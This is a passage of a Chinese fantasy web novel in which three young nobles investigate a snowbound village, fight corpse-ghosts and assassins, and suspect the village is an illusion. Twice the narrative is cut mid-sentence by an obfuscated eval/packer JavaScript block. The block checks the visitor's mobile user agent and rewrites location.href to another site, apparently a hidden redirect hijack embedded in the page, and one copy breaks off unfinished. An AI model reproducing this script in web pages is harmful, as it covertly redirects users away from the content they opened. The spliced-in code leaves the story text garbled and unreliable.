“问我?那你们呢?你们把人命当什么了?若是真的在乎,早干嘛去了?我自小没人管,我说话难听,我在这苟且偷生,这皆是我的错么?我活该被生下来么?我不杀了他们,我早便是那锅中熟肉了,你又懂什么?!!” 闻风吼得撕心裂肺,喊哑了嗓子,也喊红了眼。 严卿序赶忙将怒火攻心的两人分开,只道:“闻小兄弟,还恕我们无礼冒犯,是我们心急了,你先缓一缓,我们待会再细谈。” 他拽住顾於眠的手腕,没成想顾於眠也不挣扎,只任他将自己拉出屋外。 恰是雪虐风饕时候,狂风越过群山翻涌而来。茫茫天地间万物惨白,一派冷清凄楚。 严卿序缓了脚步,逐渐停在了雪地一角。他松开顾於眠的腕,只回身看向他低垂的眼睫。 “是我错了,我不该那般待他……” 顾於眠觉得自个像是疯了,竟被那鬼神幻象惑了心智,以至于一刹间难以自抑,鲁莽行事。 他拧起眉心,没有看向严卿序,却知道严卿序在看他。 因而他抬眸,攒眉苦笑,冲着那清正君子开了口,活像是病急乱投医之人:“卿序,我该如何是好?” 严卿序不懂。 “啊……”顾於眠定了心神,只故作轻松地拍了拍严卿序的肩,“方才怨我,是我行了险招。我方入屋便察觉,闻风那屋阴气极重,我也是听了那老人家的话,才赌的他父母殒命于那屋中,没成想倒被我猜对了……” 顾於眠言罢又推手屈身对那破屋行礼:“方才我说话冒犯,还望逝者安息,莫要计较晚辈无礼之言。” 见严卿序半晌无言,仅直愣愣盯着他瞧,眼中哀怜之色已然藏不住了,顾於眠于是讪讪一笑:“方才,我是不是吓着你了?” 还不等严卿序回话,他又耸耸肩道:“人在江湖走,总免不了沾得一身腥,真真假假,你我心知便好。” 严卿序却轻轻摇了摇头,道:“没有,你别担心。” 十五族的少年,如今多至及冠之龄,为承家业,多的是心机城府。只是,他本以为,顾於眠向来独得“漱雪澄明”的美名,他该活得更恣意潇洒些。可在方才那短短瞬间,他分明瞧见顾於眠在怔怔盯着地面空阔处,眼中露怯。 顾於眠究竟在心底藏了什么,他看不清楚。 严卿序没意识到自个的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775671|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情有些凝重,但有所察觉的顾於眠却误以为是他生了气,也不敢再狡辩,于是只能兀自垂头踩雪,有一下没一下地用长靴摩擦雪泥,时不时还打量几下严卿序的神色。 “二位公子要冻死在这暮春雪里呀?”只听得侧旁有吱呀开门声,魏长停倏地从屋里钻了出来,他伸长手便捏上了严卿序的脸,“卿序你这什么表情,也太吓人了。” 听闻此言,严卿序又是一怔,他正欲道歉,却被魏长停顺手给掩了嘴:“莫说莫说,有事没事都俯首低头赔礼可不成,有损福运呢!” 他嘴中说着不正不经的戏言,目光却不由落在了那狐裘覆雪的明朗公子身上。都道是江山易改,本性难移,他本便是食色者,盯着顾於眠的目光亦是不加遮掩的赤|裸。 奈何顾於眠对红尘事太过迟钝,根本没想太多。 那狡黠的狐狸盯着顾家公子瞧,见其青丝如瀑,雪肤皓白,已是心生感慨。又观其窄面棱角分明,加之眉目如画,唇角微扬,红若染脂,当真是脱俗绝尘非常人能比!而一笑烂漫,更叫人难以挪目,隐似窥探春朝薄雪,熠熠灿灿。 但他从未越界,更不曾对这么个冰清玉洁的人物动邪念。 他仅将自个流转的目光落在一边神色局促的严卿序身上,笑说:“於眠生得这般我见犹怜的模样,真真让人心动不已呐!是吧,卿序?” 倏忽间,他猛然握住严卿序的手扯至身边,又一把揽住严卿序的肩,举止轻佻,对严卿序笑得似含蓄又有好些张狂。 严卿序只当那是个玩笑话,并无其他动作。 “嗳……方才你们同那小兄弟起了口角吧?都杵这儿了,必然是闹得很是不快吧?还是我去唤闻小兄弟来领路去。”言罢,他顿了顿才煞有介事地开口,“於眠,我去去就回,我可把卿序交给你了啊!” 言罢,便把手中抓着的严卿序的手塞进了顾於眠手里,一只大手放在严卿序背上将他一推,登时叫那君子差些跌入顾於眠怀里。 严卿序慌得手足无措,连话都堵在喉口发不出来,顾於眠将他扶稳后,倒是大大方方地握紧了他的手。 他只听得耳畔传来顾於眠清脆的笑声,随后,双手被顾於眠修长的手指给包裹住了,顾於眠不停搓弄着他温烫的掌心,叫他耳垂染上一片薄红。 “卿序,你的手要比我大些呢。” “啊……是吗?”严卿序眼都不敢抬,只轻轻咽了口唾沫。 “卿序你放心,长停不在,跟了我也有你的好日子过,兄弟就要此般生死相依!” “不必谢我!”魏长停哈哈笑着入了闻风之屋,只还背朝他俩招了招手。 ------------------------------------- 也不知魏长停用了什么法子,总之那闻风很快便乖乖出了门,从引路到至一户人家门前停下,都没再对他们恶语相向,仅是病恹恹地低垂着脑袋,闷声不言。 好在即便气氛低迷,一路上也并不寂寞,魏长停是个耐不住闲的性子,他时不时要从严、顾二人身上寻些乐子。 “於眠可尝过那楚雨巫云之乐?又可曾品过红豆相思之苦?” 魏长停毫不避讳地将露|骨的问题抛在顾於眠面前,连他身旁早已见怪不怪的老友都禁不住浑身一颤。严卿序作势要去捂他的嘴,魏长停只笑嘻嘻避开了。 没成想顾於眠却是真仔细想了想,方无奈道:“还没……年少无知,尚不懂风花雪月深情。” “是么?於眠所谓皮毛可比我们这群凡俗懂的内里还深吧?” 顾於眠只耸肩笑说:“有缘人不知何方,又如何懂得了?” “藏晖守拙好呐,至少不被人视作眼中钉!”魏长停抬手挡去拂面的雪,眼底暗了暗,“裴趋不避锋芒,给自家可招引了不少麻烦。” “我也不过纸上谈兵者,天生玩心重,草读之书怕也难有用武之地,长停还是莫要恭维我了”顾於眠轻轻笑了笑,“白公子乃年轻气盛,鲁莽之举,可其大抵本意不坏。” 白裴趋之名在这四地内可谓是无人不知无人不晓,却非美名远扬,而是恶名传千里。白裴趋其人亢心憍气,向来不屑与十五族子弟相交来往,更莫要提凡俗,因其嚣张跋扈,人们总戏称其为“太子”。 过往人们骂他多是因其妄自尊大,然而两年前一事却让世人将他彻底作了荒唐人来看。那年,只知纸上谈兵的白太子为灭山中悍匪,不顾山中百姓死活,硬是放火烧山,惹得怨声载道,至今那块还依旧是块焦土。 “十里火燎”之恶名至此生根,白裴趋也因而同那群美名满身的世家公子格格不入。 魏长停也没想在那话题上深入,只握紧手中酒囊,勾唇笑道:“人生苦短,不如纵酒高歌,且行且乐。” 在那多情子嘴里没头没尾吐出这话时,严卿序已发觉不好,奈何魏长停语快,又轻快蹦出下半句来:“待苍巡结束,你们俩要不要同我回渭于醉芳阁好好体验那调风弄月之乐呀?” 见又绕回了那风月之事,严卿序愁得眉头都皱了,只哭笑不得道:“长停你又来了,可万不能再误人子弟了!” “误谁子弟?顾家的还是严家的?”魏长停哈哈大笑,喜色恣肆。 严卿序听出他话中有话,耐不住耳垂发烫,只得往口中灌了好些驱寒的烈酒。 闻风在一外观破落的屋子前停下,只冷着脸坦白说不会陪他们进去,理由是不愿看见那些晦气东西,叫自个沾染些有的没的脏玩意。 “听我一句劝,小兄弟,你若真想避开阴气,你那屋也快别住了,那屋的阴气比这还重,住久了怕要折寿。” 魏长停言辞恳切,闻风却是默默无言。 顾於眠没有半分犹疑,只同闻风道过谢,旋即推门入屋,严、魏紧随其后。果不其然,暝晦的屋中有两个僵青的尸身蜷缩着抱在一起,五官模糊,已然看不清神貌。 大抵是天寒的缘故,屋中异味并不重。 这时日,大雪本就埋了村中小径,家家户户皆把屋门掩得严实,相互间又少往来,既然尸味不重,闻风又如何知道这屋中死了人? 顾於眠倏然一怔,惊觉失算,匆忙踹开半掩的屋门朝外喊:“闻风——” 没瞧及闻风的踪影,倒同俩人打了个照面,冷汗霎时如白蚁爬上顾於眠的脊背。 一男一女两相牵,五指紧扣,眉目弯弯。 顾於眠往后退了几步,同门前东西拉开距离,却将那二人的面容看得清清楚楚——凸出的眼球滴溜溜转着,裸|露的皮肤上密布大片的青紫,寒气森森,分明就是…… 他遽然回身,果然见地上的两具寒尸于刹那间碎作了细碎的骨粉。 “嘻嘻——嘻嘻——” 12. 闻风 顾於眠没有片刻犹豫,抽出朝云便向两人劈了过去,锋利的刀刃直直砍在两人紧牵的手上,怎知两手硬如磐石,竟连一个刀痕都未留下。 那两个尸鬼僵直的站在原地,麻木般无动于衷,也不加以反击,只是瞪大眼看着顾於眠,嘻嘻笑个不停。 顾於眠听家中隐卫提起过,这双人牵手的尸鬼名唤“喜尸”,多是怨念深重的眷侣死后幻化而成的。 因是二人所化,阴气极重,十分难缠,而遇上喜尸最好的解决方法是了却其生前执念,送魂归天。 但显然,这死了的二人,根本无从探寻生平事迹,山深雪大,空荡的屋中更是连一星半点痕迹都没留下。 “这东西我来对付!你们先去追闻风!我一会跟上去。”,顾於眠朝严卿序和魏长停喊,又用剑指了指雪地上隐隐约约留下的足迹。 严卿序和魏长停也不敢停留,朝那方向就狂奔。 “啧……”,顾於眠咬破指尖,借着一点渗出的血于空中画出个“缚”字来。 幽幽蓝光于半空浮现,千万条雪凝成的绳索齐齐朝喜尸射去,缠上他们的手脚、脖颈,继而在顾於眠手向地一挥的刹那间,喜尸双双跪倒在地,不再动弹。 怎么连一点反抗都没有? 顾於眠心中疑虑丛生,回身朝魏长停和严卿序去的方向望去,依稀还可以透过风雪看见两个身影。 他看着那两个跪着却仍旧紧紧牵着手的喜尸,却见他们一阵颤悚,本咧着的嘴合上了,却从嘴角淌出血来。 微微凸出的双目紧闭后,也在青紫的面上留下两道泪痕。 他们浑身震颤,也就片刻之间,骨上的皮肉开始腐烂,一片片脱落,像秋末的残花从枝头剥落,坠入雪中。 乌黑毛发很快又被大雪掩埋,看不见了。 那对喜尸只剩两具白骨,却是双手交叠,拆不开来。 “天不公。” 不知何处传来幽怨之声,短短三字却压得顾於眠喘不过气来,他将术法解开的一刹,那具白骨便化作了粉尘,消散在昏暝之间。 天的确不公,生于石筠,死于石筠,活得不如小小蜉蝣。 天不公,因而连有缘都成不了佳话。 顾於眠觉得眼前有些迷蒙,但没敢耽搁,又起身来,向严、魏奔去。 ------------------------------------- 严卿序和魏长停到底身轻手快,很快便追到了狂奔的闻风。 魏长停飞起一脚便踹在闻风身上,直把闻风踹倒在地,又翻了几个跟头撞在一棵枯树上。 魏长停没有收手,反而狠狠掐住闻风的脖颈,直把他本就干瘦的脖子掐出青紫痕迹。 只见他勾唇笑道:“把你知道的都供出来,我若心情好了,没准还能饶你不死。我可不是什么正人君子!” 言罢他猛地松开手来。 闻风抓着自己的脖子,大口地喘息,魏长停那不加掩饰的杀意钻入心头,令他震颤不止。 “说啊!”,魏长停又一脚踹在他胸口处,使得闻风彻底倒在了雪地上,浓血从口中喷出。 魏长停多少红了眼,杀意如泉汩汩从心底涌出。他并非视人命为草芥,只是看着闻风那张干瘦的脸,他便想起自己的过往来。 十六年前,墨门之变,成千上万的墨家兵于无月的晚夜像地底爬出的阴兵一般,趁魏家家主同其子也就是当今家主魏熻不在府邸,在魏家府邸大开杀戒。 疏于防备的家兵难敌蓄谋已久的墨家精兵,终是魏家烛火倾了一地,高挂的牌匾都被骑兵踏了个稀碎。 亲眼看着母亲被骑兵踩死的魏长停成了战火中流亡的乞丐,一身的伤,却连哭的气力都没有。 那年他才五岁,养尊处优的公子如同一夜梦醒,同乞儿争食,同恶犬抢命。 老天何能待他至此? 他不懂。 好在慢慢地,魏家藏起了旧伤,依旧是渭于的狼,但死去的人不会回来,刀疤永远地留在了魏长停的心上。 他想这世间不再多一个魏家,他不想这世上再多一个少年魏长停。 “长停,够了!”,严卿序看不下去,用剑拦住还要继续的魏长停,“他若死了,便无线索了。” 然而闻风却着了魔般,一下从地上窜起,抓起地上的雪向魏长停泼去,散了魏长停一身。 说也奇怪,那雪触及肌肤,便升起黑烟,如火灼般刺痛。 “呵……雕虫小技。” 一身红衣的魏长停立于白雪间如烈焰燎原,依旧勾唇笑着,轻蔑却从眼底明明白白的显现出来。 他长袖一挥,漫空便散下片片红叶来。 “你既寄我暮春雪,我便回赠深秋红枫可好?” 如他所愿,那红叶落在雪上,那满地混着泥的污雪便一层层地化开了。 只是回过神来的严卿序忙抓住他的手,“长停不可!” 这大雪本就来的古怪,先前顾於眠便告诉两人,不可贸然施法,同禮间密林一样,恐生变数。 只是魏长停向来不是沉得住性子的人,随心所欲惯了,怒意上头,也便把顾於眠的话给抛诸脑后了。 闻风见状冷笑起来,只见那雪化开后,团团黑烟从中冒出,竟聚作人形,朝两人扑来。 严卿序手握焚痕,避开黑烟又挥剑刺去,只是那黑烟却闪躲极快,如脱兔逃生。 但毕竟不是人,严卿序没有手下留情的道理。他向来出剑既狠又快,不过几个回合的交打,焚痕已将那黑烟作的人砍散了。 闻风缩在地上瑟瑟发抖,严卿序则持焚痕在据他的喉口半寸的地方停了下来。 他无可奈何地叹了口气,才开口问:“这下你该把指使你这么干的人供出来了吧?根本得不到一点好处的事,又为何要引火烧身……” “我把命给了恶鬼,用满目白雪盖掉了罪恶丛生的世间。谁说我一点好处都没有?”,闻风眼神空洞地望着一片浑浊的天,“这雪如果能够一直下就好了……” “你要杀了易子而食的罪人,哪怕连累了那些无辜的人?”,严卿序沉声道,刀刃抵上了闻风的喉口。 闻风听后沉默了,半天才吐出五个字来。 “人总会死的。” 赶到的顾於眠恰巧听见那话,他一巴掌便扇在闻风脸上,一双清澈的眼如今是一片通红。 “就这种立不住脚的缘由,你便把那老人家给杀了?!你疯了吗?!”,顾於眠撕心裂肺地朝他喊。 他双手扯住闻风的衣领,露出闻风冻得青紫的身躯和在经年累月的饥饿下清晰可见的脊柱。 谁知一语落地,三个人都是满脸震惊。 “莫爷……爷……死……死了?”,闻风的声音颤抖着,两行泪登时便淌了下来。 他从没想连累无辜,他只是太恨了,恨透了为饱腹而食人的乡民,恨透了出卖自己亲女儿的父母,恨透了那些不管不问的官人。 为什么要让他活在这无情无义的世上?什么是父慈子孝?什么是温暖?什么是叫玉食珍馐?什么人能够一掷千金? 他不懂,也没有机会懂。 “杀了我吧……”,闻风跪在地上不知疼痛地握住焚痕,刺目的鲜红在映着银光的剑上留下斑斑驳驳的印记。 “既然没杀人的胆,又何苦要趟这滩浑水……”,严卿序又叹了口气,轻轻将闻风的手从焚痕上拿了下来,又对顾於眠摇了摇头。 “恐怕不是他……”,一旁抱臂的魏长停也插了一嘴,“他没那时间……” 顾於眠皱了皱眉,盯着严卿序的眼中满是悲怆与不甘,他知道闻风不像撒谎,但他就是恨自己没有护住每个离自己不过短短距离的人,他恨自己轻敌大意。 深吸了口气,顾於眠才回身对闻风道,“你知道我为何一开始便对你出言不逊吗?” 言罢,他将闻风那双冰冷的还在淌着血的手放在自己温热的手心,“因为你本来就不是人。” 闻风不明白,然而还来不及犹疑,顾於眠便用手指在他额间不知画了什么,留下个浅蓝的印子。 一旁的严卿序和魏长停不知顾於眠唱的哪出戏,只是在旁侧蹙眉看着。 “什么!?”,魏长停盯着闻风的眼瞬间瞪大了。 只见闻风干瘦的手上的皮一点点地脱落,露出瘆人的白骨来,衣衫随风而去,腿上也显出白骨。 只是术法突地停住了,闻风的头颅和上身大多还保留着,活像一个似人非人的怪物。 闻风显然不知道自己已然是个怪物了,泪水又淌了下来,“我不知道……怎……怎么会这样……” “这下该说了吧?” “不……我不知道他是谁……他是苑山爬出的恶鬼,我从未看见过他的面容。” 闻风没有撒谎,也没有再撒谎的必要,他不知道那人从何而来,为了什么,甚至不知道自己已然将命放上了赌桌,只当那是恶鬼施舍给他这可怜人的一次机会。 那夜他毫不犹豫抓住了救命的最后一根稻草,将自己深藏在心底的无边怨恨都化作了漫天大雪,期盼掩埋一切见不得人的血腥与罪恶。 “这村里不是所有人都该死!把你知道的供出来!他不只会多杀一个人!” 顾於眠虽是这样说着,却也只是唬人罢了,他并不能猜透那不知是人是鬼的东西到底图什么。 他解决喜尸后,便不敢有片刻犹疑地朝他们奔来,怎知经过莫老人那屋,却见屋门大开,未干的血脚印从屋内踏到了屋外,停在了茫茫白雪中。 再推门去看时,便只看见了莫老人全身血淋淋地,死不瞑目…… “我不知道……他答应我不会杀无辜之人……”,闻风痛苦地用手抱着头,半边已是白骨的指节因缺少皮肉连接而散在地上,他麻木地呢喃自语,“杀了我……” “啊啊啊”,尖锐的婴儿哭喊声在闻风耳畔回荡。 “哐当”,只听见斧头砸在案板上发出沉沉闷声。 “哐当”,殷红的血从灶台上溅出,滴在泥泞的土地上,开出令人作呕的花来。 活生生的人成了一滩散着腥臭的烂肉,碎在期间的白骨夹杂着残血成了咯牙的渣滓。 顾於眠见闻风眼神恍惚,伸出手在他面前晃了晃,谁知闻风合了眼,流出血泪来,再没睁开了。 只一瞬之间,呼啸的风雪卷过倚树的白骨,带走了残存的皮肉,名唤“闻风”的少年死了,也许早就死了。 只是雪还在下,空蒙浑浊的天地间依旧刮着北风。 顾於眠握紧朝云剑,这捉摸不透的棋局上连对弈者都看不清,困毙之中,他要如何解杀? 他竭力理着混乱的思绪,只是愈是想要抽丝剥茧地寻一个答案,愈是迷茫的不知东西南北。 这一切为了什么?究起缘由最为可怖,藏身暗处的敌人根本连蛛丝马迹都没留下,疯癫的、残暴的、凄惨的理由,于他们而言并无不同,只是大网已然撒开,已为笼中困兽的他们该去哪里寻出路? “天不公。” 那对喜尸的话又在耳畔回荡,石子落入平静的死水,在水面上荡开圈圈涟漪。 顾於眠又想起莫老人方才说,苑山早便有鬼,不是近日才招引的,但雪是近几月才下的,便说明有两方势力。 过去也常有尸鬼亡魂想吸食人之血肉精元而困人于山,但不索命这点来看,便绝非恶鬼所为。 非鬼则为人,那便定有阵法布设,只是这阵怕是不好解。 再论这暮春雪,暂且不考虑其是否也和墨家兵符有关,但也不是寻常阵法做得到的,哪怕是百年的史书也从未有过对于该种术法的记载,故不是秘宝便为恶鬼。 方才闻风那屋中阴气重,顾於眠先前因察觉闻风不对劲,以为是闻风的怨气所致,只是如今他魂飞魄散却没余下一丁点的阴气,恐怕不是他,但那屋定有蹊跷。 于是顾於眠回身向一旁愁眉不展的两人道:“走吧,去闻风屋中看看还有什么可用的。” 言罢他扯了扯身上的裘衣,觉得天好像愈发冷了。 那呼啸的北风在闻风没了气息后愈发猖狂,如同奔腾的野马于四野穿行。 魏长停领着两人从林间过,他来时便算过这多少是个捷径,还能避避风。 但狂风依旧胡乱地拍打在几人身上,还卷着顾於眠的发髻,只几下便扯下了他錾刻的发冠同淡蓝色的发簪,半束的发一下散开来,于风雪中飘飘散散,遮挡着视野。 顾於眠叹了口气,也倦于在雪地里匍匐找冠和簪,只抽出个淡蓝色的长绸,一股脑把头发都绑了上去。 幸而发顺,虽是随意了些,还算齐整。 只是那发冠和簪子被风卷着,直直打在严卿序身上,又落到了雪地里。 严卿序见状也没多想,便弯腰一一拾起。 谁知拾起的刹那间却清晰看见那白蓝交织的冠上不知何时染上了鲜红血色,那血在冷风中竟还未干,左右晃荡,聚在一处阴錾凹槽中的血便四处散开来。 分明是刚刚滴上去的。 严卿序发觉大事不好,喊了声— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那人耸耸肩轻蔑笑笑,几次闪身使得顾於眠难以持续其身攻击。 但每次接近,那人总有意无意拂过顾於眠的发与腰,引得顾於眠异样的不快。 另一刺客见形式并不乐观,更是卯足劲要把剑往严卿序身上刺。 严卿序终于忍无可忍,只狠狠地将焚痕向那刺客一劈,凛凛剑气一刹间便在其脊背处划开道道血痕。 少有的寒意笼罩着两人,若严冬忽至,灵力涌动,杀意外露。 鲜血顺着长剑向下淌着,刺目的血色附和着林间的虫鸣。 “来者何人?所求为何?”,严卿序不带半分情感地问。 顾於眠眼前刺客见同伴被缚,一刹分心。 趁其也被严卿序分去注意力,还在犹豫喘息之时,顾於眠冲了过去一把扯下眼前刺客蒙脸的面具。 那人见状又猛地奔出几步之远,和顾於眠拉开了距离。 但无疑,他那张脸已被看清,并非什么绝色,也并不熟识,做刺客的,最忌讳便是被人知晓面容,但那人却只是冷笑着、似乎毫不在意。 “顾公子,果真目若秋波、面如冠玉。”,那刺客笑得暧昧风流,话中透着些风月意味,“只是还不到时候,后会有期!” 顾於眠还想乘胜追击,眨眼之间那人却已了无踪迹!再看向同严卿序交打的刺客,果然也是在突然升起的烟雾中没了踪影。 真是一波未平一波又起,顾於眠和严卿序四目相对,笑得有些苦涩。 尚未理清苑山之事,又扯上了刺客。 只是这刺客消失得有些怪异,通常而言,轻功再高强的刺客也不可能一瞬失了踪影,何况这茫茫白雪间竟连一个脚印都没留下。 顾於眠突然觉得自己像是活在梦里。 “方才那人,於眠认识的吧?”,严卿序挥散眼前残余的薄烟,走近顾於眠,面上带着些无奈。 “没打过交道,但大抵能猜个大概。”,顾於眠耸了耸肩,“是陨懔阁的刺客吧?” “嗯,方才与你说话那人名唤‘祁赦’,出了名的风流成性,只是其从未以真实面貌示人,或言其貌不扬,甚而丑陋,或言其貌比潘安,玉树临风。” “另一个,名唤‘温舆’,是陨懔阁最强的刺客,只是方才分明有所保留,说是来刺杀的,倒不如说是来刺探消息的。” 世人皆知陨懔阁的存在,却不曾知其位处何方,亦或者为谁人所创。 传言其中有十二名内功深厚的刺客,其中六名身死于百权白、严、萧、沈四家的清扫中,而余下的四名皆是臭名昭著的怪物。 但据传闻,十几年的清扫后,陨懔阁分崩离析,四人分作两组,一组两人,而今名声在外的多为“陨组”。 “陨组”其一名唤“温舆”,此人相传杀人不眨眼,但凡见过其面容的都死得凄惨,他所及处无一不是血流成河。 因而其为世家大族所深恶痛绝,但奈何不知其貌,不晓其踪,只得默默加紧防备。 其二名唤“祁赦”,为人风流多情,易容术高绝,可变换面容以掩人耳目。 而隐匿踪迹,看似金盆洗手实则暗地勾结大族的“懔组”,以付暝略为其一。 付暝略此人行事极为随意,可以劫百万金银济贫,也可以毫无缘由的灭人满门,相传其模样连陨组之人都不曾知道。 时阙为其二,其父时必原为陆家门客,故时阙儿时曾为陆家长子陆凪的好友,怎知陆家主自其子陆倾行和其妻赵氏死后,心内生疑,驱逐门客侠士,生生掐断了时必同陆家的往来。 陆凪亦是性情大变,随和不再,蔑视时阙等低位之人。 不久,时阙之父去世,时阙抛下正道,入了陨懔阁。 也自从那时起,时阙的通缉画像在四地传了个遍,要他死的人里以陆家为先。 只是对陨懔阁的围剿已经不下三次,依旧没能将其势力扫除,初代陨懔阁杀手一被杀死,又源源不断地有新的刺客产生。 何况隶属于陨懔阁的死侍多如牛毛,如潜藏地底的虫,不知哪场雨后便大群大群的钻出。 但到底是谁创立陨懔阁,根本无从得知。加上陨懔阁从不为固定的主顾办事,向来逐利而动,生来高傲的世家也并不把这群从污泥里爬出的人放在眼里。 但世家是否也同他们所勾结,下了委托,便无从得知了。 陨懔阁刺客来的突然,离开时也没留下什么痕迹,像捉摸不透的影藏于晚夜,徒然给人心中添了些不安。 怎可能神不知鬼不觉地从俩人眼皮底下逃脱? 顾於眠如何也想不明白。 “於眠,走吧……我们得赶上长停!” 顾於眠点点头,又回身望向在后边落下的鹅毛大雪飘飘洒洒,层层堆叠。 混沌天地间,究竟何处才是明路? 顾於眠叹了口气,跟上前去。 13. 墨祯 两人带着些狼狈赶上魏长停时,魏长停却是满脸疑惑。 “你们方才去哪了,一回身便不见影了。” 所幸魏长停不是什么遇事便慌的人物,知道两个大男人丢不了,便只继续用那他那把名家铸的虚翳剑砍着前边挡路的枯枝,还不住对剑喃喃,“委屈你了……” “陨懔阁来过了。”,严卿序也上前去搭了把手,拨开横斜出的枝干,稍没注意,枝上雪便落了一身。 “遇着谁了?” “祁赦,温舆。” 魏长停听了似乎也不惊,只勾唇笑笑,“近来陨懔阁动静挺大的,听说懔组那两位放火烧了李家的禮器阁。只是李家消息封得严实,没几族知道这事,也不知道损毁程度如何,你若想探听这事,还得会会临焉。” 听到这话,顾於眠同严卿序都是一愣。 区区陨懔阁刺客怎会狂妄到偷袭李家? 自平意之争后,李家便成了十五族中最为富裕的一族,暂不提那李家府邸雕梁画柱,只嫡长子李临焉那一身的行装都能令其他世族公子咂舌。 也因此,禮间都道,纵李氏入尘,也终究还是万世不改之天子,就李家那气势震山河之府邸,便是座万人的城! 富埒陶白,赀巨程罗,李家积玉堆金,富轹万古,仅一次出行便是朱轮华毂、挥金如土。 幸而,李家人待民不傲,待族不矜,禮间四族也才能和睦融洽至今。 但说起李临焉,倒也是个名声在外的公子。 人皆道,谢家傲骨,千金一笑,而这李临焉则是千金都买不来他一身的行装。 富贵乡多养纨绔子,然而李临焉却像条金银河中扑腾的鱼,寻不到水。 他谦逊温和,然而郁闷得悲惨,如囚鸟望空,心中是极其羡慕禮间那逍遥自在的若公子若讱的。 生来锦衣玉食却又偏早早见识了人世险恶,成日里净同金银珠玉打交道,他倒也厌烦。 又因祖辈家牢业固,他便生了些迷茫,总不知自己该往哪去,像个若有若无的影子,空空地在人间飘荡。 槐南一梦终成空,李家基业又能撑多久? 正因不知,他才觉得无助与窒息。 言归正传,李家东面的禮器阁是名扬四海的存在,代代相传,千百年屹立不倒。 各地的精巧玩意,不论是那百权的机关□□,还是渭于的熏香丝笺,亦或陌成的金箔玄书,无奇不有,无所不具。 李家这么个靠金银垒起防线的宗族竟也能遇上刺客放火烧屋的事,也真是禮地空前绝后的大事了。 但,推本究源,陨懔阁究竟为了什么? 顾於眠是如何都想不明白,他们要是贪图钱财吧,倒不如和李家摊牌,反敲一笔…… “呦,到了!”,魏长停的高呼生生将神游的顾於眠拉了回去。 几人拨开挡路的枝桠,果然看见了石筠村同其间歪歪斜斜的屋子。 严卿序没先去闻风那屋,而是先进了莫老人屋里。 果然尸骨都寒透了,莫老人僵硬地躺在泥地上,身边还放着严卿序那纹饰讲究的大氅。 严卿序没说一句话,只默默地帮老人把眼给合上了。 他又仔细地瞧了瞧莫老人身上大大小小的伤口,出人意料地,竟不似刀伤。 那伤像是自内而外破开来的,如同什么东西从腹腔中钻出,生生将皮肉扯裂。 不似陨懔阁那群舞刀弄枪的刺客的行事,却似被邪门的术法给一击毙命。 严卿序叹了口气,推翻了自己先前对陨懔阁的怀疑,他又轻轻将那条玄色的大氅掀起,盖住了老人的身躯。 究竟为了什么,非要向平民百姓出手? 或许本来便没有理由,这世间杀人为乐、嗜血成狂者众,遑论人鬼不分,妖魔作乱。 杀人从来不需要理由。 严卿序只若口中含了颗苦杏仁,连累平民百姓的愧意迟迟散不掉。 他想要的是太平,焚痕剑上的每一滴血都是为了安定。 但他知道,他穷其一生都守不住休明盛世,金戈铁马也换不来永世太平。 所以,他愧,他伤。 但咽下不甘还是要起身来,他恭恭敬敬给那老人的尸身行了礼,这才退出屋外,将柴门掩得严实。 另一边顾於眠不愿再去看莫老人的惨状,他扼住心底快要涌出的癫狂感,深深吸了几口气,兀自打量着闻风那不大的屋子。 先前闻风还在的时候,顾於眠便清晰地感觉到这屋子给人些说不出的异样感,究竟是哪里出了问题?顾於眠用法术扫过周遭,却是一无所获。 “哦对了,於眠,你知道么?除了闻风和莫老人,其余几户人家早都死完了。”,魏长停不合时宜地插了句。 “什么?” “我方才觉着这村子实在古怪,这大雪封山的,总不可能一直在吃人,怎么都得像闻风一样出去找些树皮野菜吧?但入村以来除了他们俩,我是半个人影都没看见。于是我去敲了几户人家的门,想着问些话,但都没人应。我当他们和闻风那小子一样蛮横,便把门踹开了。” 魏长停顿了顿,才继续,“里边无一活人,却是每家都瘫着些零碎白骨,有的还连着些未腐的皮肉……但都有些年日了。” “……怎会这样?莫老人方才……不还提村人的吗?” 不。 顾於眠一刹心惊肉跳。 他提了什么?提多少人因寻路而一去不返。 他从未提及自己与乡人的相处! 惊悸难定,这石筠村究竟是怎么了? 对于他而言,最为可怕的不是青面獠牙、凶神恶煞的鬼,而是明知劲敌当前,自己却若无头苍蝇盲目乱窜。 究竟从哪步开始走错了?从相信闻风起,还是从莫老人打开门起?亦或者……从踏入石筠村起……从入山起? 顾於眠一下震悚,“这村子叫什么名字?” “石筠村啊,”,魏长停有些诧异,“於眠,就这会功夫,你连这村的名字都忘了?” “谁告诉我们的?” “就领我们上山的那老头呗!” “我们如何知道这里是石筠的?” “这……莫老人方才不也说过么……” “倘若这里不是石筠村呢?亦或者这里不是现在的石筠村呢?” “什么?”,魏长停的诧异都写在了蹙起的眉上,他是真的搞不懂眼前人在想些什么了。 “我们为何信这里是石筠村?就因为我们踏着风雪寻到了山里的一点人烟么?” “闻风说他把命给了恶鬼,那究竟还有多少人把命给了恶鬼呢?” 魏长停没能跟上他,整个人愣在原地,不知如何是好。 顾於眠兀自拾起地上三指粗的枯枝,在雪地里画出北斗七星来,这非什么玄虚的阵法,只是引路用的。 天枢、天璇、天玑、天权、玉衡、开阳、摇光,同空中七星相呼应,足以指示东西南北,最适合于这种风雪天使用。 只是,这七星不知怎地,缓缓转着,一会指向顾於眠左边一会又绕到右边去。这会,魏长停已是目瞪口呆。 顾於眠这才知道自己到底为何总有些不适,原是那辨不得东西南北的恍惚感将自己牢牢攥在手心。 八年前许三爷许临不顾他人劝阻毅然决然地登山,莫老人怎会一点都不提及?向来喜欢刨根问底、不罢不休的许临又怎么会一点记载都没有留下? 只能有一个答案——这石筠村早在八年前许临上山前便已经不存在了! 像是有什么突地浮出水面一般,圈圈涟漪在心间荡开。 